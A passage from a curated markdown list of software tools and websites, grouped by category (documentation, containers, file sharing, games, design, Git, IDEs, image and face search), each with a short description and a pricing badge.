[![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Slate](https://github.com/slatedocs/slate) - Create beautiful, intelligent, responsive API documentation - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Slite](https://slite.com/) - Wiki with several external integrations - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Sphinx](http://www.sphinx-doc.org/en/stable/index.html) - Documentation builder, especially usefull for source code - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/sphinx-doc/sphinx/) - [Stackoverflow Teams](https://stackoverflow.com/teams/) - Knowledge management, Q&A & collaboration solution that technologists already trust - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [tech-docs-monitor](https://github.com/alphagov/tech-docs-monitor) - Expiry notifier for documentation. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [tettra](https://tettra.com/) - Q&A, knowledge management, and knowledge base tool with Slack integration. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [TiddlyWiki5](https://github.com/Jermolene/TiddlyWiki5) - A self-contained JavaScript wiki for the browser, Node.js, AWS Lambda etc. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Wiki JS](https://wiki.js.org/) - A modern, lightweight and powerful wiki app built on Node.js - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/Requarks/wiki) - [Write the docs](http://www.writethedocs.org/) - Information about writing documentation - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [youneedawiki](https://youneedawiki.com/) - Create a wiki with Google Docs - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## Docker / Kubernetes _Containers and stuff_ - [agones](https://agones.dev/site/) - Host, Run and Scale dedicated game servers on Kubernetes - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [cert-manager](https://github.com/jetstack/cert-manager) - Automatically provision and manage TLS certificates in Kubernetes - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [composerize](https://github.com/magicmark/composerize) - Turns docker run commands into docker-compose files! - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Consul](https://www.consul.io/) - Secure Service Networking. It allows to discover services and secure network traffic - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [DockerKit](https://github.com/dunklesToast/DockerKit) - Control your Docker Containers with HomeKit - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [goharbor](https://goharbor.io/) - Container image registry that secures images with role-based access control, scans images for vulnerabilities, and signs images as trusted. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Kasm](https://kasmweb.com/) - Container Streaming Platform. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [lens](https://github.com/lensapp/lens) - The Kubernetes IDE - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [linkerd](https://linkerd.io/) - A service mesh for Kubernetes and beyond. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [metallb](https://metallb.universe.tf/) - Load-balancer implementation for bare metal Kubernetes clusters - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [platform_cc](https://github.com/chompy/platform_cc) - Tool for provisioning apps with Docker based on Platform.sh's .platform.app.yaml spec. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Portainer](https://github.com/portainer/portainer) - A lightweight management UI which allows you to easily manage your different Docker environments (Docker hosts or Swarm clusters). - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [rancher](https://github.com/rancher/rancher) - Complete container management platform - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [runme](https://runme.io/) - Run your application from any public Git-repo with one click - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Traeffik](https://github.com/containous/traefik/) - A HTTP reverse proxy and load balancer that makes deploying microservices easy- [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Watchtower](https://github.com/v2tec/watchtower) - A process for automating Docker container base image updates - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/containrrr/watchtower) ## Ebooks - [calibre-web](https://github.com/janeczku/calibre-web) - Web app for browsing, reading and downloading eBooks stored in a Calibre database - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [feedbooks](https://www.feedbooks.com/publicdomain) - Discover thousands of public domain books - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [openlibrary](https://openlibrary.org/) - One webpage for every book ever published! - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [okular](https://okular.kde.org/) - Read and annotate PDF documents, comics and EPub books, browse images, visualize Markdown documents. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Emulation _Feeling retro?_ - [MAME](https://github.com/mamedev/mame) - A multi-purpose emulation framework that aims to preserve decades of software history. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Messmame collection](https://archive.org/details/messmame&tab=collection) - Lots of ROMs for MAME - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## Enterprise Ressource Planning (ERP) / Groupware / Customer Relationship Management (CRM) / Asset Management System _Welcome to the 21st Century_ - [dokos](https://dokos.io/en) - Business platform for SME - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [erpnext](https://erpnext.com/) - Alternative to SAP - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Foodcops](https://foodcoops.github.io/) - Web-based software to manage a non-profit food coop (product catalog, ordering, accounting, job scheduling). - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/foodcoops/foodsoft) - [Hubspot](https://www.hubspot.com) - Marketing, sales, and service software (CRM). - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [Kopano](https://kopano.com/) - Digitally sovereign communication and collaboration software - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Metasfresh](https://metasfresh.com/en/) - Responsive Free and Open Source ERP System - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/metasfresh/metasfresh) - [monica](https://github.com/monicahq/monica) - Personal Relationship Manager - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [phasecrm](https://phasecrm.com/) - Efficiently manage your channels & keep a pulse on what your members care about on Slack - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [planless](https://planless.io/pricing) - Artificial intelligence to constantly, instantly and automatically calculate who on your team should do what/when and when things will be done. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [Sabre](http://sabre.io/) - A CardDAV, CalDAV and WebDAV server - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/sabre-io/Baikal) - [snipeit](https://snipeitapp.com/) - Say goodbye to spreadheets. Asset Management System. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Sogo](https://sogo.nu/) - Share your calendars, address books and mails in your community (groupware). - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## File Sharing / downloader / converter _Sharing is caring_ - [ARTE-7-Downloader](https://github.com/GuGuss/ARTE-7-Downloader) - Download content from Arte - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [DC++](http://dcplusplus.sourceforge.net/) - Direct Connect allows you to share files over the Internet without restrictions or limits. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Gofile](https://gofile.io) - File sharing platform, anonymous and free - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [lftp](https://github.com/lavv17/lftp) - A sophisticated command line file transfer program (ftp, http, sftp, fish, torrent) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Motrix](https://github.com/agalwood/Motrix) - A full-featured download manager - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [MystiQ](https://github.com/swl-x/MystiQ/) - GUI for FFmpeg for linux, windows and macOS - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [piknik](https://github.com/jedisct1/piknik) - Copy/paste anything over the network. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Plik](https://plik.root.gg) Plik is a scalable & friendly temporary file upload system ( wetransfer like ) in golang. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/root-gg/plik/tree/master) - [Radarr](https://github.com/Radarr/Radarr) - Helps automatically downloading movies via Usenet and BitTorrent. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [requestrr](https://github.com/darkalfx/requestrr) - A chatbot used to simplify using services like Sonarr/Radarr/Ombi via the use of chat. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [send](https://send.firefox.com/) - Simple, private file sharing from the makers of Firefox - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/mozilla/send) - [Sonarr](https://github.com/Sonarr/Sonarr) - Sonarr is a PVR for Usenet and BitTorrent users. It can monitor multiple RSS feeds for new episodes of your favorite shows and will grab, sort and rename them. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [streamrip](https://github.com/nathom/streamrip) - A scriptable music downloader for Qobuz, Tidal, SoundCloud, and Deezer. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [urlpages](https://github.com/jstrieb/urlpages) - Create and view web pages stored entirely in the URL - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [vidl](https://omz-software.com/vidl/) - easily download videos from YouTube and hundreds of other websites for offline viewing (macOS) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [ytmdl](https://github.com/deepjyoti30/ytmdl) - YouTube Music Downloader, A simple app to get songs from youtube in mp3 format with artist name, album name etc from itunes, gaana etc. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Games / Game launchers _You know you need a break_ - [0ad](https://play0ad.com/) - Historical Real Time Strategy (RTS) game. As the leader of an ancient civilization, you must gather the resources you need to raise a military force and dominate your enemies. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/0ad/0ad) - [eti-lan](https://www.eti-lan.xyz/) - P2P Lan Game Launcher useful for LAN parties - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [fold it](https://fold.it/portal/) - A crowdsourcing computer game enabling you to contribute to important scientific research by folding proteins. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [gamehub](https://tkashkin.tk/projects/gamehub/) - All your games in one place. It allows to view, download, install, run and uninstall games from Steam, GOG, Humble Bundle, Humble Trove. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [geoguessr](https://www.geoguessr.com/) - Guess the country from a google street view perspective. - [launchbox-app](https://www.launchbox-app.com) - Emulate, Organize, and Beautify Your Game Collection - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [liero](https://liero.be/) - Game similar to worms - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Minetest](https://www.minetest.net/) - Similar to minecraft - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/minetest/minetest) - [opensurge](https://opensurge2d.org/) - retro platformer inspired by Sonic. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [retroarch](https://www.retroarch.com/) - Frontend for emulators, game engines and media players. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [teeworlds](https://www.teeworlds.com/) - A retro multiplayer shooter - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/teeworlds/teeworlds/) - [veloren](https://veloren.net/) - multiplayer voxel RPG inspired by games such as Cube World, Legend of Zelda: Breath of the Wild, Dwarf Fortress and Minecraft. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Graphics / Design / Icons _echo "sheep"_ - [app-mockup](https://app-mockup.com/) - App Mockup & Screenshot Builder - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Canva](https://www.canva.com/) - Create designs and documents in minutes - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Colorizer](https://deepai.org/machine-learning-model/colorizer) - Colorize black and white images or videos using the image colorization API. Add color to old family photos and historic images, or bring an old film back to life with colorization - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [CSS Zengarden](http://www.csszengarden.com/) - A demonstration of what can be accomplished through CSS-based design - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Diagrams as code](https://diagrams.mingrammer.com/) - Diagrams lets you draw the cloud system architecture in Python code. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Draw](https://www.draw.io/) - Online diagramming web site- [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/jgraph/drawio) - [favicon](https://favicon.io/) - Favicon generator. Create a favicon in few simple clicks. Generate a favicon from text, from an image, or from an emoji. Download in .ico and .png formats. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Figma](https://www.figma.com/) - Figma helps teams create, test, and ship better designs from start to finish. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [getavataaars](https://getavataaars.com/) - Create a simple avatar for your online presence in just a few clicks - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [imglarger](https://imglarger.com/) - Enlarge Images Without Losing Quality - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [invisionapp](https://www.invisionapp.com/) - Digital product design platform, useful for building mockups, designs for websites, ... - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [JSpaint](https://jspaint.app) - You missed MS Paint? It's back ! - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/1j01/jspaint) - [natron](https://natrongithub.github.io/) - VFX and Motion Graphics. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Nordesource](https://norde.io/) - Crossplatform (linux, widows macOS) SVG Icon manager and editor. Customize entire icon sets to fit your brand. Built for designers, developers, ... . - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [orioniconlibrary](https://www.orioniconlibrary.com/) - Free icons - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [photo-enhancer](https://www.myheritage.com/photo-enhancer) - Enhance your family photos automatically. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Picsum](https://picsum.photos/) - Lorem Ipsum for images - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Pixelorama](https://github.com/Orama-Interactive/Pixelorama) - A free & open-source 2D sprite editor, made with the Godot Engine! Available on Windows, Linux & macOS! - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [placeholder.com](https://placeholder.com/) - Free Image Placeholder Service - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [pngkey](https://www.pngkey.com/) - Largest Archive Of Transparent PNG. No attribution required! - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [storybook.js](https://storybook.js.org/) - Build bulletproof UI components faster. Storybook is an open source tool for developing UI components in isolation for React, Vue, and Angular. It makes building stunning UIs organized and efficient. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [tabler-icons](https://github.com/tabler/tabler-icons) - A set of over 350 free MIT-licensed high-quality SVG icons for you to use in your web projects - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [UI Design Daily](https://uidesigndaily.com/) - Daily examples of UI available as Sketch, Photoshop, Figma, Studio, ... files. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [uizard](https://uizard.io/) - Transform your hand-drawn wireframes into digital design files and front-end code – automatically! - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [vecta](https://vecta.io/symbols) - Flow chart, AWS, Google and Azure cloud symbols - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Vectr](https://vectr.com/) - Web and Desktop cross-platform Graphics Software - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Webolution](http://fabianburghardt.de/webolution/) - Explore the evolution of Webdesign from 1991 to 2015 - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ### Color picker / Color schemes - [Clrs](http://clrs.cc/) - A nicer color palette for the web. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [coolors](https://coolors.co/) - The super fast color schemes generator! Create the perfect palette or get inspired by thousands of beautiful color schemes. Available as iOS app or Adobe addon. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [paletton](http://paletton.com/) - A Color Scheme Designer / Palette - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [rgb.to](https://rgb.to/) - Convert color values and find colour schemes simply - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ### Fonts - [fontspark](https://fontspark.app/) - Helps to find cool fonts to use. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [FortAwesome](https://github.com/FortAwesome/vue-fontawesome) - Font Awesome 5 Vue component using SVG with JS - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [PureCSS-Font](https://github.com/cyanharlow/PureCSS-Font) - For private, SEO-hidden, CAPTCHA-friendly unselectable text. Deter plagiarism and spambots! - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [pyfiglet](https://github.com/pwaller/pyfiglet) - Takes ASCII text and renders it in ASCII art fonts. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ### Illustrations - [delesign](https://delesign.com/free-designs/graphics/) - Royalty-free designs for your website, social media, blog, email newsletters, and more. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [freellustrations](https://freellustrations.com/) - Free illustrations background images - [undraw](https://undraw.co/illustrations) - Browse to find the images that fit your needs and click to download. Use the on-the-fly color image generation to match your brand identity. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) for your awesome landing pages. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ### Image Editing / Drawing - [Affinity](https://affinity.serif.com) - Great alternative to Photoshop - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [bgeraser](http://bgeraser.com/) - Remove Background from Images - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [cleanup.pictures](https://cleanup.pictures/) - Remove objects and defects from your pictures. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Inkscape](https://inkscape.org/) - A professional cross-platform vector graphics editor - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ### Logo - [free-logo-maker](https://www.ucraft.com/free-logo-maker) - High resolution logo maker - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Logo](https://logo.com/) - Make a logo in minutes - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) ### Stock Images and Videos - [artgrid](https://artgrid.io/) - Stock Footage, Music and SFX. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [deathtothestockphoto](https://deathtothestockphoto.com/) - Sign-up to get free photo sample. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Freepik](https://www.freepik.com) - Free Vectors, Stock Photos, PSD and Icons - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [gratisography](https://gratisography.com/) - Quirky, Creative, Always Free Photos. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [lifeofpix](https://www.lifeofpix.com/) - Free high resolution photography. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [mixkit](https://mixkit.co/) - Stock Video Clips, Stock Music, Sound Effects & Video Templates. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [picjumbo](https://picjumbo.com/) - Download free stock photos, backgrounds and free high-resolution images for personal and commercial use - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [pixabay](https://pixabay.com/) - royalty free stock images - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [stocksnap](https://stocksnap.io/) - Beautiful free stock photos - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [stocksy](https://www.stocksy.com/) - Stock photos and video footage with no filler - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [unsplash](https://unsplash.com/) - The internet’s source of freely-usable images. Powered by creators everywhere. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## Good Practices / Best Practices / Ebooks _When you don't know where to start, that's probably the right place_ - [12 Factor - Config](https://12factor.net/config) - [A Byte of Python](https://python.swaroopch.com/) - Book on programming using the Python language - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Animations in UX](https://uxdesign.cc/the-ultimate-guide-to-proper-use-of-animation-in-ux-10bd98614fa9) - [automatetheboringstuff](https://automatetheboringstuff.com/) - Automate the Boring Stuff with Python - [developer-roadmaps](https://roadmap.sh/) - Roadmap to becoming a web developer, devops, .... in 2020 - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Github flow](https://guides.github.com/introduction/flow/) - [Google SRE Books](https://landing.google.com/sre/books/) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Material Design](https://material.io/design/#color-ui-color-application) ## Graphical User Interface (GUI) / Screens _Tired of using the terminal?_ - [air-display](https://avatron.com/applications/air-display/) - Turn almost any spare screen into an extra display for your computer (macOS) - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [i3wm](https://i3wm.org/) - Tiling window manager, very helpful when using several terminals - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [material-ui](https://material-ui.com/) - React components for faster and easier web development. Build your own design system, or start with Material Design. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [openchakra](https://github.com/premieroctet/openchakra) - Full-featured visual editor and code generator for React using Chakra UI - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Rectangle](https://github.com/rxhanson/Rectangle) - Rectangle is a window management app for macOS based on Spectacle, written in Swift. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [VTM](https://vtm.netxs.online/) - Monotty Desktopio: Text-based desktop environment inside your terminal. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Git _Whatever you do, don't be one_ - [act](https://github.com/nektos/act) - Run your GitHub Actions locally - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [bfg-repo-cleaner](https://github.com/rtyley/bfg-repo-cleaner) - For cleansing bad data out of your Git repository such as big files, Passwords, Credentials & other Private data. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [changelog](https://github.com/olivierlacan/keep-a-changelog) - Don’t let your friends dump git logs into changelogs™ - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) - A specification for adding human and machine readable meaning to commit messages - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [forgit](https://github.com/wfxr/forgit) - Utility tool for using git interactively - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [git-sizer](https://github.com/github/git-sizer) - Compute various size metrics for a Git repository, flagging those that might cause problems. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [github1s](https://github1s.com/) - One second to read GitHub code with VS Code. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [gitignore collection](https://github.com/github/gitignore) - A collection of useful .gitignore templates - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [gitignore](https://www.gitignore.io/) - Create useful .gitignore files for your project - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [gitpod](https://www.gitpod.io/self-hosted/) - Take Control of Your Source Code. Also works with Visual Studio Code. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [glab](https://github.com/profclems/glab) - GitLab CLI tool - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [gource](https://github.com/acaudwell/Gource) - software version control visualization - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [notifier-for-github](https://github.com/sindresorhus/notifier-for-github) - Get notified about new GitHub notifications - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [vercel](https://vercel.com/) - Cloud platform for static frontends and serverless functions. It enables developers to host websites and web applications that deploy instantly for example from a git repository, scale automatically, and require no supervision - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [whatthecommit](http://whatthecommit.com/) - commit message generator. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## Hardware - [flipperzero](https://flipperzero.one/) - Open source multi-tool device for researching and pentesting radio protocols, access control systems, hardware, and more. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [pikvm](https://pikvm.org/) - Open and cheap DIY IP-KVM on Raspberry Pi - - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ### Hardware Checks _Sometimes the source of the issue is not located on the chair and the "Have you tried turning it off and on again" is not enough_ - [CPU-Z](https://www.cpuid.com/softwares/cpu-z.html) - Gathers information on some of the main devices of your system) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [memtest86](https://www.memtest86.com/) - The standard for RAM memory diagnostics - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [speccy](https://www.ccleaner.com/speccy) - Fast, lightweight, advanced system information tool for your PC. Need to find out what’s inside your computer? Speccy has all the information you need! - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## Installers / Dependency Managers / Bundlers - [composer](https://getcomposer.org/) - A Dependency Manager for PHP - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Homebrew](https://github.com/Homebrew/brew) - The missing package manager for macOS (or Linux) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [n – Node version management](https://github.com/tj/n) - Interactively Manage Your Node.js Versions. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Node Version Manager](https://github.com/nvm-sh/nvm) - Bash script to manage multiple active node.js versions - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [parcel](https://github.com/parcel-bundler/parcel) - Zero configuration web application bundler - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [scoop](https://scoop.sh/) - Command-line installer for Windows - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [wpackagist](https://wpackagist.org/) - Allows WordPress plugins and themes to be managed along with other dependencies using Composer. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [yarn](https://github.com/yarnpkg/yarn) - Fast, reliable, and secure dependency management - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Integrated Development Environment (IDE) _printf("Hello, World!");_ - [Atom](https://atom.io/) - A hackable text editor for the 21st Century - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/atom/atom) - [code-server](https://github.com/cdr/code-server/) - Run VS Code on any machine anywhere and access it in the browser. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [draculatheme](https://github.com/dracula/draculatheme.com) - Dark theme for VIM, VScode, firefox, Telegram, ... - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [micro](https://github.com/zyedidia/micro) - easy to use and intuitive. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [neovim](https://neovim.io/) - hyperextensible Vim-based text editor - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Ox](https://github.com/curlpipe/ox) - Ox is a code editor that runs in your terminal. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [spacemacs](https://github.com/syl20bnr/spacemacs) - The best editor is neither Emacs nor Vim, it's Emacs _and_ Vim! - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [tabnine](https://www.tabnine.com/) - Code faster with AI completions - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [theia](https://theia-ide.org/) - Theia is an extensible platform to develop multi-language Cloud & Desktop IDEs with state-of-the-art web technologies. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Visual Studio Code](https://code.visualstudio.com/) - Great crossplatform IDE, made by microsoft - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/Microsoft/vscode) ### Atom Plugins - minimap - pigments ### Visual Studio Code Plugins - [polacode](https://github.com/octref/polacode) ## Images / Image Optimisation / Text recognition (OCR) - [brunsli](https://google.github.io/brunsli/#brunsli) - Brunsli is a lossless JPEG repacking library (JPEG XL Lossless Recompression algorithm). - [![](https://img.shields.io/badge/pricing-open--source-green)](#https://github.com/google/brunsl) - [clipdrop](https://clipdrop.co/) - Extract objects, people, drawings and text. Simply point and tap, ClipDrop does the rest. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [EasyOCR](https://github.com/JaidedAI/EasyOCR) - Ready-to-use OCR with 40+ languages supported including Chinese, Japanese, Korean and Thai. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [EXIF tool](http://owl.phy.queensu.ca/~phil/exiftool/) - A crossplatform command-line application for reading, writing and editing meta information in a wide variety of files. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/exiftool/exiftool) - [generated.photos](https://generated.photos/) - Enhance your creative works with photos generated completely by AI. Find model images through our sorted and tagged app, or integrate images via API. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [guetzli](https://github.com/google/guetzli/) - Guetzli is a JPEG encoder that aims for excellent compression density at high visual quality. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [image-scrubber](https://github.com/everestpipkin/image-scrubber) - A tool for anonymizing photographs taken at protests - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [imageoptim](https://imageoptim.com/) - ImageOptim makes images load faster. Removes bloated metadata. Saves disk space & bandwidth by compressing images without losing quality. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [piwigo](https://piwigo.org/) - Photo gallery software that helps to manage your photo collection - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [svgomg](https://jakearchibald.github.io/svgomg/) - Helps optimizing SVG images - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Images reverse search / Face search / Search Engines / Image tagging / Deepfake _I'm a creep_ - [Algolia](https://www.algolia.com/) - AI-powered Search & Discovery platform - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [avatarify](https://github.com/alievk/avatarify) - Photorealistic avatars for Skype and Zoom - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [betafaceapi](https://www.betafaceapi.com/demo.html) - A face detection and face recognition web service - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [finder](https://finder.app/) - Find mail addresses linked to a domain - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [first-order-model](https://github.com/AliaksandrSiarohin/first-order-model) - Deepfake - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [meilisearch](https://www.meilisearch.com/) - Fast, Relevant, and Typo-Tolerant Search Engine - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [phototagger](http://www.phototagger.org/) - Helps tagging pictures - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [pictriev](http://www.pictriev.com/) - Gives attributes to pictures in percentages - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [pimeyes](https://pimeyes.com/en/) - Find people with similar faces. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [sherlock](https://github.com/sherlock-project/sherlock) - Hunt down social media accounts by username across social networks - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - 